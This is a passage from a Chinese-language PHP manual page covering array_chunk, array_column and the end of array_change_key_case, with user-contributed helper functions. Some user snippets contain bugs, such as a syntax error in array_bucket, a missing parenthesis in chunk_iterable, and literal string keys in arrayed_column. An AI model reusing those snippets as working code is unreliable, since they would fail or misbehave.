                //first-char-to-lowercase
                case 25:
                    $function = create_function('$input', '
                        return mb_strToLower(mb_substr($input, 0, 1, \'' . $mbEnc . '\')) .
                            mb_substr($input, 1, (mb_strlen($input, \'' . $mbEnc . '\') - 1), \'' . $mbEnc . '\');
                    ');

                    break;

                //first-char-to-uppercase
                case 20:
                    $function = create_function('$input', '
                        return mb_strToUpper(mb_substr($input, 0, 1, \'' . $mbEnc . '\')) .
                            mb_substr($input, 1, (mb_strlen($input, \'' . $mbEnc . '\') - 1), \'' . $mbEnc . '\');
                    ');

                    break;

                //uppercase
                case 15:
                    $function = create_function('$input', '
                        return mb_strToUpper($input, \'' . $mbEnc . '\');
                    ');
                    break;

                //lowercase
                default: //case 10:
                    $function = create_function('$input', '
                        return mb_strToLower($input, \'' . $mbEnc . '\');
                    ');
            }
        }

        //loop array
        foreach($array as $key => $value) {
            if(is_array($value)) //$value is an array, handle keys too
                $newArray[$function($key)] = array_change_key_case_ex($value, $case, $useMB);
            elseif(is_string($key))
                $newArray[$function($key)] = $value;
            else $newArray[$key] = $value; //$key is not a string
        } //end loop

        return $newArray;
    }
?>
john at doe dot com 26-Sep-2007 12:04
<?php
function array_change_value_case($input, $case = CASE_LOWER)
{
    $aRet = array();

    if (!is_array($input))
    {
        return $aRet;
    }

    foreach ($input as $key => $value)
    {
        if (is_array($value))
        {
            $aRet[$key] = array_change_value_case($value, $case);
            continue;
        }

        $aRet[$key] = ($case == CASE_UPPER ? strtoupper($value) : strtolower($value));
    }

    return $aRet;
}
?>
cm at gameswelt dot de 10-Aug-2007 04:11
I just changed the code a little bit so you havent got a code that repeats itself.

<?php

function array_change_key_case_secure($array = array(), $case = CASE_UPPER){
    $secure = array();
    $functionWrap = array(CASE_UPPER => 'strtoupper',
                            CASE_LOWER => 'strtolower');

    foreach($array as $key => $val){
        if(isset($functionWrap[$key])){
            $key = $functionWrap[$case]($key);
            $secure[$key][] = $val;
        } else {
            die('Not a known Type');
        }
    }

    foreach($secure as $key => $val){
        if(count($secure[$key]) == 1){
            $secure[$key] = $val[0];
        }
    }

    return $secure;
}

$myArray = array('A' => 'Hello',
                    'B' => 'World',
                    'a' => 'how are you?');

print_r($myArray);
$myArray = array_change_key_case_secure($myArray);
print_r($myArray);

/*
Array
(
    [A] => Hello
    [B] => World
    [a] => how are you?
)
Array
(
    [A] => Array
        (
            [0] => Hello
            [1] => how are you?
        )

    [B] => World
)
*/


将一个数组分割成多个

  • ? array_change_key_case
  • array_column ?
  • PHP Manual
  • 数组 函数
  • 将一个数组分割成多个

array_chunk

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

array_chunk — 将一个数组分割成多个

说明

array_chunk(array $array, int $length, bool $preserve_keys = false): array

将一个数组分割成多个数组，其中每个数组的单元数目由 length 决定。最后一个数组的单元数目可能会少于 length 个。

参数

array

需要操作的数组

length

每个数组的单元数目

preserve_keys

设为 true，可以使 PHP 保留输入数组中原来的键名。如果你指定了 false，那每个结果数组将用从零开始的新数字索引。默认值是 false。

返回值

得到的数组是一个多维数组中的单元，其索引从零开始，每一维包含了 length 个元素。

错误／异常

如果 length 小于 1，会抛出 ValueError。

更新日志

版本 | 说明
8.0.0 | 如果 length 小于 1，现在会抛出 ValueError；之前会引发 E_WARNING 级别的错误且函数会返回 null。

示例

Example #1 array_chunk() 例子

<?php
$input_array = array('a', 'b', 'c', 'd', 'e');
print_r(array_chunk($input_array, 2));
print_r(array_chunk($input_array, 2, true));
?>

以上示例会输出：

Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [0] => c
            [1] => d
        )

    [2] => Array
        (
            [0] => e
        )

)
Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [2] => c
            [3] => d
        )

    [2] => Array
        (
            [4] => e
        )

)

参见

  • array_slice() - 从数组中取出一段

User Contributed Notes

leon at valkenb dot org 13-May-2021 02:24
With no luck finding a function; here is the one I wrote:
It will evenly distribute items into a fixed amount of groups but also keeps items that were sorted close together to be in the same output groups.
<?php
function distributed_array_chunk(array $items, int $groups, bool $preserveKeys = false) {

    $grouped = [];
    $groupsPerItem = $groups /  count($items);
    $progress = 0.00;

    foreach ($items as $key => $value) {

        $index = floor($progress += $groupsPerItem);

        if ($preserveKeys) {
            $grouped[$index][$key] = $value;
        }
        else{
            $grouped[$index][] = $value;
        }
    }

    return $grouped;
}
?>
Anonymous 28-Dec-2020 04:21
Most easy way split array to parts

<?php

$arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];

print_r(array_chunk($arr, ceil(count($arr) / 2)));
// return: [[1, 2, 3, 4, 5], [6, 7, 8, 9, 10]]

print_r(array_chunk($arr, ceil(count($arr) / 3)));
// return: [[1, 2, 3, 4], [5, 6, 7, 8], [9, 10]]

?>
Andrew Martin 03-Jul-2018 03:43
To reverse an array_chunk, use array_merge, passing the chunks as a variadic:

<?php
$array = [1, 2, 3, 4, 5, 6, 7, 8, 9];

$chunks = array_chunk($array, 3);
// $chunks = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

$de_chunked = array_merge(...$chunks);
// $de_chunked = [1, 2, 3, 4, 5, 6, 7, 8, 9]
?>
suisuiruyi at aliyun dot com 03-Jun-2016 09:02
chunk array vertically

$arr    = range(1, 19);
function array_chunk_vertical($arr, $percolnum){
    $n = count($arr);
    $mod    = $n % $percolnum;
    $cols   = floor($n / $percolnum);
    $mod ? $cols++ : null ;
    $re     = array();
    for($col = 0; $col < $cols; $col++){
        for($row = 0; $row < $percolnum; $row++){
            if($arr){
                $re[$row][]   = array_shift($arr);
            }
        }
    }
    return $re;
}
$result = array_chunk_vertical($arr, 6);
foreach($result  as $row){
    foreach($row as $val){
        echo '['.$val.']';
    }
    echo '<br/>';
}
/*
[1][7][13][19]
[2][8][14]
[3][9][15]
[4][10][16]
[5][11][17]
[6][12][18]
 */
normiridium at gmail dot com 17-Apr-2016 10:55
A breakdown by groups with excess:

function array_chunk_greedy($arr, $count){
    $arr = array_chunk($arr, $count);
    if(($k = count($arr)-1) > 0){
        if(count($arr[$k]) < $count){
            $arr[$k-1] = array_merge($arr[$k-1], $arr[$k]);
            unset($arr[$k]);
        }
    }
    return $arr;
}

$arr = range(1, 13);
$arr = array_chunk_greedy($arr, 4);

print_r($arr);

[1,2,3,4,5,6,7,8,9,10,11,12,13] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13]

More examples:

[1,2,3,4,5,6,7,8,9,10,11,12] —> [1,2,3,4] [5,6,7,8] [9,10,11,12]
[1,2,3,4,5,6,7,8,9,10,11,12,13] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13]
[1,2,3,4,5,6,7,8,9,10,11,12,13,14] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13,14]
[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15] —> [1,2,3,4] [5,6,7,8] [9,10,11,12,13,14,15]
[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16] —> [1,2,3,4] [5,6,7,8] [9,10,11,12] [13,14,15,16]

Example report:

$arr = range(1, 45);
$arr = array_chunk_lazy($arr, 10);

$arr = array_map(function($sub_value) {
            return implode('<br>', $sub_value);
        }, $arr);

$title = '<h2>title</h2>';
$arr = $title.implode($title, $arr).$title;

echo $arr;
dustin at fivetechnology dot com 10-Mar-2016 06:22
Had need to chunk an object which implemented ArrayAccess Iterator Countable.  array_chunk wouldn't do it.  Should work for any list of things

<?php
   $listOfThings = array(1,2,3,4,5,6,7,8,9,10,11,12,13);
   print_r(chunk_iterable($listOfThings, 4);

  function chunk_iterable($listOfThings, $size) {
      $chunk = 0;
      $chunks = array_fill(0, ceil(count($listOfThings) / $size) - 1, array());
      $index = 0;
      foreach($listOfThings as $thing) {
        if ($index && $index % $size == 0) $chunk++;
        $chunks[$chunk][] = $thing;
        $index++;
      }
      return $chunks;
  }
?>
siddharthundare at gmail dot com 28-Sep-2015 09:00
<table>
<tr>
<?php

$array_chunkdata = array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25);
$chunk  = array_chunk($array_chunkdata,5);
$rev_counter = 2;

function for_chunk($chunk_data){

    echo "<td><table>";

      foreach($chunk_data as $key => $chunk_value)
      {
        echo "<tr><td>";
        echo $chunk_value;
        echo "</td></tr>";
      }
      echo "</table></td>";

}

foreach($chunk as $key => $chunk_data)
{
    if($rev_counter%2==0)
    {
      for_chunk($chunk_data);
    }
    else
    {
      $chunk_data =  array_reverse($chunk_data);

      for_chunk($chunk_data);

    }
  $rev_counter++;
}
?>
</tr>
</table>
/*
Output:
1
2
3
4
5

10
9
8
7
6

11
12
13
14
15

20
19
18
17
16

21
22
23
24
25
*/
Anonymous 20-May-2014 10:51
Couldn't get the array_chunk_values() working, so ended up with this implementation:

<?php
function array_chunk_columns($data, $num_columns) {
  $n = count($data);
  $per_column = floor($n / $num_columns);
  $rest = $n % $num_columns;

  $columns = array();
  $index = 0;
  for ($i = 0; $i < $num_columns; $i++) {
    // Add an extra item to each column while the column number is less than the
    // remainder.
    $add_rest = ($rest && ($i < $rest)) ? 1 : 0;
    $number = $per_column + $add_rest;
    $columns[] = array_slice($data, $index, $number);
    $index += $number;
  }

  return $columns;
}

?>
stratboy 16-Sep-2013 10:22
Hi, I've made  a function to split an array into chunks based on columns wanted. For example:

<?php $a = array(1,2,3,4,5,6,7,8); ?>

goal (say, for 3 columns):

<?php
array(
   array(1,2,3),
   array(4,5,6),
   array(7,8)
);
?>

<?php
function get_array_columns($array, $columns){

        $columns_map = array();
        for($i=0; $i<$columns; $i++){ $columns_map[] = 0; }//init columns

        //create map
        $count = count($array);
        $position = 0;
        while($count > 0){
            $columns_map[$position]++;
            $position = ($position < $columns-1) ? ++$position : 0;
            $count--;
        }

        //chunk the array based on map
        $chunked = array();
        foreach($columns_map as $map){
            $chunked[] = array_splice($array,0,$map);
        }

        return $chunked;
    }//end get_array_columns
?>
nate at ruggfamily dot com 19-Jul-2010 09:00
If you just want to grab one chunk from an array, you should use array_slice().
dead dot screamer at seznam dot cz 27-Jan-2009 02:28
This function can be used to reverse effect of <?php array_Chunk()?>.
<?php
function array_Unchunk($array)
{
    return call_User_Func_Array('array_Merge',$array);
}

header('Content-Type: text/plain');
$array=array(
    array(
            'Black Canyon City',
            'Chandler',
            'Flagstaff',
            'Gilbert',
            'Glendale',
            'Globe',
    ),
    array(
            'Mesa',
            'Miami',
            'Phoenix',
            'Peoria',
            'Prescott',
            'Scottsdale',
    ),
    array(
            'Sun City',
            'Surprise',
            'Tempe',
            'Tucson',
            'Wickenburg',
    ),
);
var_Dump(array_Unchunk($array));
?>

Output:
array(17) {
  [0]=>
  string(17) "Black Canyon City"
  [1]=>
  string(8) "Chandler"
  [2]=>
  string(9) "Flagstaff"
  [3]=>
  string(7) "Gilbert"
  [4]=>
  string(8) "Glendale"
  [5]=>
  string(5) "Globe"
  [6]=>
  string(4) "Mesa"
  [7]=>
  string(5) "Miami"
  [8]=>
  string(7) "Phoenix"
  [9]=>
  string(6) "Peoria"
  [10]=>
  string(8) "Prescott"
  [11]=>
  string(10) "Scottsdale"
  [12]=>
  string(8) "Sun City"
  [13]=>
  string(8) "Surprise"
  [14]=>
  string(5) "Tempe"
  [15]=>
  string(6) "Tucson"
  [16]=>
  string(10) "Wickenburg"
}
Rasmus Schultz (http://mindplay.dk) 23-Jan-2009 01:59
Unfortunately, this function only accepts real arrays, not iterable objects... For that, you need this function:

<?php

function break_array($array, $page_size) {

  $arrays = array();
  $i = 0;

  foreach ($array as $index => $item) {
    if ($i++ % $page_size == 0) {
      $arrays[] = array();
      $current = & $arrays[count($arrays)-1];
    }
    $current[] = $item;
  }

  return $arrays;

}

?>
OIS 10-Jun-2008 05:31
Response to azspot at gmail dot com function partition.

$columns = 3;
$citylist = array('Black Canyon City', 'Chandler', 'Flagstaff', 'Gilbert', 'Glendale', 'Globe', 'Mesa', 'Miami', 'Phoenix', 'Peoria', 'Prescott', 'Scottsdale', 'Sun City', 'Surprise', 'Tempe', 'Tucson', 'Wickenburg');
print_r(array_chunk($citylist, ceil(count($citylist) / $columns)));

Output:
Array
(
    [0] => Array
        (
            [0] => Black Canyon City
            [1] => Chandler
            [2] => Flagstaff
            [3] => Gilbert
            [4] => Glendale
            [5] => Globe
        )

    [1] => Array
        (
            [0] => Mesa
            [1] => Miami
            [2] => Phoenix
            [3] => Peoria
            [4] => Prescott
            [5] => Scottsdale
        )

    [2] => Array
        (
            [0] => Sun City
            [1] => Surprise
            [2] => Tempe
            [3] => Tucson
            [4] => Wickenburg
        )

)
azspot at gmail dot com 08-May-2007 04:53
Tried to use an example below (#56022) for array_chunk_fixed that would "partition" or divide an array into a desired number of split lists -- a useful procedure for "chunking" up objects or text items into columns, or partitioning any type of data resource. However, there seems to be a flaw with array_chunk_fixed — for instance, try it with a nine item list and with four partitions. It results in 3 entries with 3 items, then a blank array.

So, here is the output of my own dabbling on the matter:

<?php

function partition( $list, $p ) {
    $listlen = count( $list );
    $partlen = floor( $listlen / $p );
    $partrem = $listlen % $p;
    $partition = array();
    $mark = 0;
    for ($px = 0; $px < $p; $px++) {
        $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
        $partition[$px] = array_slice( $list, $mark, $incr );
        $mark += $incr;
    }
    return $partition;
}

$citylist = array( "Black Canyon City", "Chandler", "Flagstaff", "Gilbert", "Glendale", "Globe", "Mesa", "Miami",
                   "Phoenix", "Peoria", "Prescott", "Scottsdale", "Sun City", "Surprise", "Tempe", "Tucson", "Wickenburg" );
print_r( partition( $citylist, 3 ) );

?>

Array
(
    [0] => Array
        (
            [0] => Black Canyon City
            [1] => Chandler
            [2] => Flagstaff
            [3] => Gilbert
            [4] => Glendale
            [5] => Globe
        )

    [1] => Array
        (
            [0] => Mesa
            [1] => Miami
            [2] => Phoenix
            [3] => Peoria
            [4] => Prescott
            [5] => Scottsdale
        )

    [2] => Array
        (
            [0] => Sun City
            [1] => Surprise
            [2] => Tempe
            [3] => Tucson
            [4] => Wickenburg
        )

)
21-Mar-2006 04:19
Here my array_chunk_values( ) with values distributed by lines (columns are balanced as much as possible) :

<?php
    function array_chunk_vertical($data, $columns) {
        $n = count($data) ;
        $per_column = floor($n / $columns) ;
        $rest = $n % $columns ;

        // The map
        $per_columns = array( ) ;
        for ( $i = 0 ; $i < $columns ; $i++ ) {
            $per_columns[$i] = $per_column + ($i < $rest ? 1 : 0) ;
        }

        $tabular = array( ) ;
        foreach ( $per_columns as $rows ) {
            for ( $i = 0 ; $i < $rows ; $i++ ) {
                $tabular[$i][ ] = array_shift($data) ;
            }
        }

        return $tabular ;
    }

    header('Content-Type: text/plain') ;

    $data = array_chunk_vertical(range(1, 31), 7) ;
    foreach ( $data as $row ) {
        foreach ( $row as $value ) {
            printf('[%2s]', $value) ;
        }
        echo "\r\n" ;
    }

    /*
        Output :

        [ 1][ 6][11][16][20][24][28]
        [ 2][ 7][12][17][21][25][29]
        [ 3][ 8][13][18][22][26][30]
        [ 4][ 9][14][19][23][27][31]
        [ 5][10][15]
    */
?>
magick dit crow ot gmail dit com 16-Oct-2005 09:50
Mistake key did not do what I thought. A patch.

function array_bucket($array,$bucket_size)// bucket filter
{
    if (!is_array($array)) return false;
    $buckets=array_chunk($array,$bucket_size);// chop up array into bucket size units
    $I=0;
    foreach ($buckets as $bucket)
    {
        $new_array[$I++]=array_sum($bucket)/count($bucket);
    }
    return $new_array;// return new array
}
magick dit crow ot gmail dit com 15-Oct-2005 10:58
This function takes each few elements of an array and averages them together. It then places the averages in a new array. It is used to smooth out data. For example lets say you have a years worth of hit data to a site and you want to graph it by the week. Then use a bucket of 7 and graph the functions output.

function array_bucket($array, $bucket_size)  // bucket filter
{
    if (!is_array($array)) return false; // no empty arrays
    $buckets=array_chunk($array,$bucket_size);  // chop up array into bucket size units
    foreach ($buckets as $bucket) $new_array[key($buckets])=array_sum($bucket)/count($bucket);
    return $new_array;  // return new smooth array
}
webmaster at cafe-clope dot net 20-Aug-2005 04:27
based on the same syntax, useful about making columns :

<?php
function array_chunk_fixed($input, $num, $preserve_keys = FALSE) {
    $count = count($input) ;
    if($count)
        $input = array_chunk($input, ceil($count/$num), $preserve_keys) ;
    $input = array_pad($input, $num, array()) ;
    return $input ;
}

$array = array(1, 2, 3, 4, 5) ;
print_r(array_chunk($array, 2)) ;
print_r(array_chunk_fixed($array, 2)) ;
?>

---- array_chunk : fixed number of sub-items ----
Array(
    [0] => Array(
            [0] => 1
            [1] => 2
        )
    [1] => Array(
            [0] => 3
            [1] => 4
        )

    [2] => Array(
            [0] => 5
        )
)

---- array_chunk : fixed number of columns ----
Array(
    [0] => Array(
            [0] => 1
            [1] => 2
            [2] => 3
        )
    [1] => Array(
            [0] => 4
            [1] => 5
        )
)
phpm at nreynolds dot me dot uk 17-Dec-2004 04:21
array_chunk() is helpful when constructing tables with a known number of columns but an unknown number of values, such as a calendar month. Example:

<?php

$values = range(1, 31);
$rows = array_chunk($values, 7);

print "<table>\n";
foreach ($rows as $row) {
    print "<tr>\n";
    foreach ($row as $value) {
        print "<td>" . $value . "</td>\n";
    }
    print "</tr>\n";
}
print "</table>\n";

?>

Outputs:

1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31

The other direction is possible too, with the aid of a function included at the bottom of this note. Changing this line:
  $rows = array_chunk($values, 7);

To this:
  $rows = array_chunk_vertical($values, 7);

Produces a vertical calendar with seven columns:

1 6  11 16 21 26 31
2 7  12 17 22 27
3 8  13 18 23 28
4 9  14 19 24 29
5 10 15 20 25 30

You can also specify that $size refers to the number of rows, not columns:
  $rows = array_chunk_vertical($values, 7, false, false);

Producing this:

1 8  15 22 29
2 9  16 23 30
3 10 17 24 31
4 11 18 25
5 12 19 26
6 13 20 27
7 14 21 28

The function:

<?php

function array_chunk_vertical($input, $size, $preserve_keys = false, $size_is_horizontal = true)
{
    $chunks = array();

    if ($size_is_horizontal) {
        $chunk_count = ceil(count($input) / $size);
    } else {
        $chunk_count = $size;
    }

    for ($chunk_index = 0; $chunk_index < $chunk_count; $chunk_index++) {
        $chunks[] = array();
    }

    $chunk_index = 0;
    foreach ($input as $key => $value)
    {
        if ($preserve_keys) {
            $chunks[$chunk_index][$key] = $value;
        } else {
            $chunks[$chunk_index][] = $value;
        }

        if (++$chunk_index == $chunk_count) {
            $chunk_index = 0;
        }
    }

    return $chunks;
}

?>
mick at vandermostvanspijk dot nl 07-Apr-2004 03:02
[Editors note: This function was based on a previous function by gphemsley at nospam users dot sourceforge.net]

For those of you that need array_chunk() for PHP < 4.2.0, this function should do the trick:

<?php
if (!function_exists('array_chunk')) {
    function array_chunk( $input, $size, $preserve_keys = false) {
        @reset( $input );

        $i = $j = 0;

        while( @list( $key, $value ) = @each( $input ) ) {
            if( !( isset( $chunks[$i] ) ) ) {
               $chunks[$i] = array();
            }

            if( count( $chunks[$i] ) < $size ) {
                if( $preserve_keys ) {
                    $chunks[$i][$key] = $value;
                    $j++;
                } else {
                    $chunks[$i][] = $value;
                }
            } else {
                $i++;

                if( $preserve_keys ) {
                    $chunks[$i][$key] = $value;
                    $j++;
                } else {
                    $j = 0;
                    $chunks[$i][$j] = $value;
                }
            }
        }

        return $chunks;
    }
}
?>


返回输入数组中指定列的值

  • ? array_chunk
  • array_combine ?
  • PHP Manual
  • 数组 函数
  • 返回输入数组中指定列的值

array_column

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

array_column — 返回输入数组中指定列的值

说明

array_column(array $array, int|string|null $column_key, int|string|null $index_key = null): array

array_column() 返回 array 中键名为 column_key 的一列值。 如果指定了可选参数 index_key，则使用输入数组中 index_key 列的值将作为返回数组中对应值的键。

参数

array

多维数组或对象数组，从中提取一列值。 如果提供的是对象数组，只有 public 的属性会被直接取出。 如果想取出 private 和 protected 的属性，类必须实现 __get() 和 __isset() 魔术方法。

column_key

需要返回值的列。它可以是索引数组的列索引，或者是关联数组的列的键，也可以是属性名。 也可以是 null ，此时将返回整个数组（配合 index_key 参数来重新索引数组时非常好用）。

index_key

作为返回数组的索引/键的列。它可以是该列的整数索引，或者字符串键值。 该值会像数组键一样被 强制转换 （但是，在 PHP 8.0.0 之前，也被允许支持转换为字符串对象）。

返回值

返回输入数组中单列值的数组。

更新日志

版本 | 说明
8.0.0 | index_key 参数指定的列中的对象不再强制转换为字符串，而是会抛出 TypeError。

示例

Example #1 从结果集中取出 first_name 列

<?php
// 表示从数据库返回的记录集的数组
$records = array(
array(
'id' => 2135,
'first_name' => 'John',
'last_name' => 'Doe',
),
array(
'id' => 3245,
'first_name' => 'Sally',
'last_name' => 'Smith',
),
array(
'id' => 5342,
'first_name' => 'Jane',
'last_name' => 'Jones',
),
array(
'id' => 5623,
'first_name' => 'Peter',
'last_name' => 'Doe',
)
);

$first_names = array_column($records, 'first_name');
print_r($first_names);
?>

以上示例会输出：

Array
(
    [0] => John
    [1] => Sally
    [2] => Jane
    [3] => Peter
)

Example #2 从结果集中总取出 last_name 列，用相应的"id"作为键值

<?php
// 使用示例 #1 中的 $records 数组
$last_names = array_column($records, 'last_name', 'id');
print_r($last_names);
?>

以上示例会输出：

Array
(
    [2135] => Doe
    [3245] => Smith
    [5342] => Jones
    [5623] => Doe
)

Example #3 username 列是从对象获取 public 的 "username" 属性

<?php

class User
{
public $username;

public function __construct(string $username)
{
$this->username = $username;
}
}

$users = [
new User('user 1'),
new User('user 2'),
new User('user 3'),
];

print_r(array_column($users, 'username'));
?>

以上示例会输出：

Array
(
    [0] => user 1
    [1] => user 2
    [2] => user 3
)

Example #4 通过 __get() 魔术方法从对象中获取 private 属性的 "name" 列。

<?php

class Person
{
private $name;

public function __construct(string $name)
{
$this->name = $name;
}

public function __get($prop)
{
return $this->$prop;
}

public function __isset($prop) : bool
{
return isset($this->$prop);
}
}

$people = [
new Person('Fred'),
new Person('Jane'),
new Person('John'),
];

print_r(array_column($people, 'name'));
?>

以上示例会输出：

Array
(
    [0] => Fred
    [1] => Jane
    [2] => John
)
如果不提供 __isset()，会返回空数组。

User Contributed Notes

Rumour 02-Dec-2023 07:46
If you want to preserve the array keys AND you want it to work on both object properties and array elements AND you want it to work if some of the arrays/objects in the array do not have the given key/property defined, basically the most ROBUST version you can get, yet quick enough:

<?php
function array_column_keys(array|ArrayAccess $arr, string $col) {
    // like array_columns but keeps the keys
    //to make it work for objects and arrays

    return array_map(fn($e) => (is_countable($e) ? ($e[$col]??null) : null) ?: (is_object($e) ? $e->$col : null), $arr);
}

?>

If a key/property is undefined, the value in the result array will be NULL. You can use array_filter() to filter those out if needed.

<?php

class a {
   public string $a = 'property a';
   public string $b = 'property b';
}

$a1 = new a;
$a2 = new a;
$a2->a = 'plop';

$b = ['one'=> ['a'=>'plop'],
      3    => $a1,
      4    => $a2,
      5    =>[],
      'kud'=>new a];

return array_column_keys($b, 'a');

?>

Returns:

Array
(
    [one] => plop
    [3] => property a
    [4] => something else
    [5] =>
    [kud] => property a
)
opencart dot ocfilter at gmail dot com 12-Apr-2023 03:40
Array multiple columns:

<?php
function array_columns() {
  $args = func_get_args();

  $array = array_shift($args);

  if (!$args) {
    return $array;
  }

  $keys = array_flip($args);

  return array_map(function($element) use($keys) {
    return array_intersect_key($element, $keys);
  }, $array);
}
?>
EXAMPLE:
<?php
$products = [
  [
    'id' => 2,
    'name' => 'Phone',
    'price' => 210.3
  ],
  [
    'id' => 3,
    'name' => 'Laptop',
    'price' => 430.12
  ]
];

print_r(array_columns($products, 'name', 'price'));
?>

Output:

Array
(
    [0] => Array
        (
            [name] => Phone
            [price] => 210.3
        )

    [1] => Array
        (
            [name] => Laptop
            [price] => 430.12
        )

)
info at mobger dot de 04-Feb-2023 06:59
If you want to rearrage an array with two layers (perhaps from database-requests), then use 'array_walk' instead:

<?php

    $yamlList = [
        ['title' => 'hallo ich', 'identifier' => 'ich', 'Klaus'=> 'doof',],
        ['title' => 'hallo du', 'identifier' => 'du', 'Klaus'=> 'doof',],
        ['title' => 'hallo er', 'identifier' => 'er', 'Klaus'=> 'doof',],
    ];
    echo ('Input'."\n".print_r($yamlList,true)."\n");
    array_walk($yamlList, function (&$value, $key) {
        $value = [
            $value['title'],
            $value['identifier'],
        ];
    });
    echo ("\n".'Output'."\n".print_r($yamlList,true)."\n");
?>

The Result
===========
...
Output
Array
(
    [0] => Array
        (
            [0] => hallo ich
            [1] => ich
        )

    [1] => Array
        (
            [0] => hallo du
            [1] => du
        )

    [2] => Array
        (
            [0] => hallo er
            [1] => er
        )

)
oleg dot bolden at gmail dot com 11-May-2022 02:38
Index_key is safely applicable only in cases when corresponding values of this index are unique through over the array. Otherwise only the latest element of the array with the same index_key value will be picked up.

<?php
$records = array(
    array(
        'id' => 2135,
        'first_name' => 'John',
        'last_name' => 'Doe',
        'company_id' => 1,
    ),
    array(
        'id' => 3245,
        'first_name' => 'Sally',
        'last_name' => 'Smith',
        'company_id' => 1,
    ),
    array(
        'id' => 5342,
        'first_name' => 'Jane',
        'last_name' => 'Jones',
        'company_id' => 1,
    ),
    array(
        'id' => 5623,
        'first_name' => 'Peter',
        'last_name' => 'Doe',
        'company_id' => 2,
    )
);

$first_names = array_column($records, 'first_name', 'company_id');
print_r($first_names);
?>

The above example will output:

<?php
Array
(
    [1] => Jane
    [2] => Peter
)
?>

To group values by the same `index_key` in arrays one can use simple replacement for the `array_column` like below example function:

<?php
function arrayed_column(array $array, int|string $column_key, int|string $index_key) {
        $output = [];
        foreach ($array as $item) {
            $output[$item['index_key']][] = $item['column_key'];
        }

        return $output;
}

$first_names = arrayed_column($records, 'first_name', 'company_id');
print_r($first_names);
?>

The output:

<?php
Array
(
    [1] => Array
        (
            [0] => John
            [1] => Sally
            [2] => Jane
        )
    [2] => Array
        (
            [0] =>Peter
        )
)
?>
Sbastien 25-Apr-2022 07:02
The counterpart of array_column(), namely create an array from columns, can be done with array_map() :

<?php

// Columns
$lastnames = ['Skywalker', 'Organa', 'Kenobi'];
$firstnames = ['Luke', 'Leia', 'Obiwan'];

// Columns to array
$characters = array_map(
    fn ($l, $f) => ['lastname' => $l, 'firstname' => $f],
    $lastnames, $firstnames
);

print_r($characters);

/*
    [
         0 => ['lastname' => 'Skywalker', 'firstname' => 'Luke']
         1 => ['lastname' => 'Organa', 'firstname' => 'Leia']
         2 => ['lastname' => 'Kenobi', 'firstname' => 'Obiwan']
    ]
*/
Hiranmoy Chatterjee 23-Mar-2022 06:01
The following function may be useful to create columns from all values of indexed arrays:

<?php
function array_column_all(array $arrays): array
{
    $output = [];
    $columnCount = count($arrays[0]);
    for ($i = 0; $i < $columnCount; $i++)
    {
        $output [] = array_column($arrays, $i);
    }
    return $output;
}
?>

Use:
-----
<?php
array_column_all(
    [
        ['A1', 'A2', 'A3'],
        ['B1', 'B2', 'B3'],
        ['C1', 'C2', 'C3'],
    ]
);
?>

This will output:
-------------------
Array
(
    [0] => Array
        (
            [0] => A1
            [1] => B1
            [2] => C1
        )

    [1] => Array
        (
            [0] => A2
            [1] => B2
            [2] => C2
        )

    [2] => Array
        (
            [0] => A3
            [1] => B3
            [2] => C3
        )

)
yangmeishu at live dot com 11-Jul-2020 02:19
Please note that if you use array_column to reset the index, when the index value is null, there will be different results in different PHP versions, examples
<?php

$array = [
    [
        'name' =>'Bob',
        'house' =>'big',
    ],
    [
        'name' =>'Alice',
        'house' =>'small',
    ],
    [
        'name' =>'Jack',
        'house' => null,
    ],
];
var_dump(array_column($array,null,'house'));

On 5.6.30, 7.0.0, 7.2.0 (not limited to) get the following results
array(3) {
  ["big"]=>
  array(2) {
    ["name"]=>
    string(3) "Bob"
    ["house"]=>
    string(3) "big"
  }
  ["small"]=>
  array(2) {
    ["name"]=>
    string(5) "Alice"
    ["house"]=>
    string(5) "small"
  }
  [0]=>
  array(2) {
    ["name"]=>
    string(4) "Jack"
    ["house"]=>
    NULL
  }
}

The new index, null will be converted to int, and can be incremented according to the previous index, that is, if Alice "house" is also null, then Alice's new index is "0", Jack's new index is "1"

On 7.1.21, 7.2.18, 7.4.8 (not limited to) will get the following results
array(3) {
  ["Big"]=>
  array(2) {
    ["name"]=>
    string(3) "Bob"
    ["house"]=>
    string(3) "Big"
  }
  ["small"]=>
  array(2) {
    ["name"]=>
    string(5) "Alice"
    ["house"]=>
    string(5) "small"
  }
  [""]=>
  array(2) {
    ["name"]=>
    string(4) "Jack"
    ["house"]=>
    NULL
  }
}

The new index null will be converted to an empty string
ff2 AT hotmail DOT co DOT uk 17-Aug-2018 07:40
Because the function was not available in my version of PHP, I wrote my own version and extended it a little based on my needs.

When you give an $indexkey value of -1 it preserves the associated array key values.

EXAMPLE:

$sample = array(
    'test1' => array(
        'val1' = 10,
        'val2' = 100
    ),
    'test2' => array(
        'val1' = 20,
        'val2' = 200
    ),
    'test3' => array(
        'val1' = 30,
        'val2' = 300
    )
);

print_r(array_column_ext($sample,'val1'));

OUTPUT:

Array
(
    [0] => 10
    [1] => 20
    [2] => 30
)

print_r(array_column_ext($sample,'val1',-1));

OUTPUT:

Array
(
    ['test1'] => 10
    ['test2'] => 20
    ['test3'] => 30
)

print_r(array_column_ext($sample,'val1','val2'));

OUTPUT:

Array
(
    [100] => 10
    [200] => 20
    [300] => 30
)

<?php
function array_column_ext($array, $columnkey, $indexkey = null) {
    $result = array();
    foreach ($array as $subarray => $value) {
        if (array_key_exists($columnkey,$value)) { $val = $array[$subarray][$columnkey]; }
        else if ($columnkey === null) { $val = $value; }
        else { continue; }

        if ($indexkey === null) { $result[] = $val; }
        elseif ($indexkey == -1 || array_key_exists($indexkey,$value)) {
            $result[($indexkey == -1)?$subarray:$array[$subarray][$indexkey]] = $val;
